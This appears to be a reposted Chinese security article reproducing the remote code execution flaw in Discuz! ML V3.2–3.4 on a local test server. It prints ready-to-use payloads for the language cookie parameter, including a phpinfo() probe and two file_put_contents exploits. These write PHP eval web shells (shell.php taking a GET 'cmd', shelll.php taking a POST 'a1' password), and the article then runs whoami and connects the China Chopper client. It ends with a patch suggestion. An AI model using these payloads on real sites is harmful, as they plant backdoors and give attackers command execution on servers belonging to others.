Discuz! ML RCE漏洞 getshell 复现
2020-03-03 12:22:14 Author: mp.weixin.qq.com(查看原文) 阅读量:155 收藏

Discuz简介


Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区。

影响版本


Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

环境搭建

phpstudy  php-7.2.10-nts Apache

discuz 3.4 源码  官网直接下载:http://discuz.ml/download 之后将源码解压到根目录

漏洞复现

右上角语言标识,随便选择一种语言并抓包

   

将抓到的包发送到repeater模块

将包中的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,得到了phpinfo信息,如下图:

   

Getshell

exp:

解码后:

'.file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'

解码前:

'. file_put_contents('shell.php',urldecode('')

将包中的xxxxx_language参数值改为解码后的exp,可以看到成功执行了代码,在文件夹中多出了shell.php文件,

如下图

   

查看文件upload

   

url后加shell.php?cmd=system('whoami');

url:http://127.0.0.1/discuz/upload/shell.php?cmd=system('whoami');

直接执行了whoami命令

   

Exp:

'.file_put_contents('shelll.php',urldecode('%3c%3fphp %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).'


原语句:

<?php  eval($_POST["a1"]);?>

将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了shelll.php文件,

如下图

   

访问执行shelll.php

   

执行后使用菜刀连接

http://127.0.0.1/discuz/upload/shelll.php

密码:a1(可自己修改)

   

修复建议

修改source/function/function_core.php 644行为:

/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php'

删除可控变量。

或者安装最新补丁。

推荐文章++++

*CVE-2020-1938漏洞复现

*CVE-2019-17671:wrodpress 未授权访问漏洞-复现

*Tomcat Ajp 漏洞复现(CVE-2020-1938)


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&amp;mid=2650460034&amp;idx=3&amp;sn=2c89435d383249e99b7defd0235318dd&amp;chksm=83bbaa66b4cc23706fe0bcbbd24297e8a774a0ac86b8fcb951725e98dd8cd13e88ad121b37c6#rd
如有侵权请联系:admin#unsafe.sh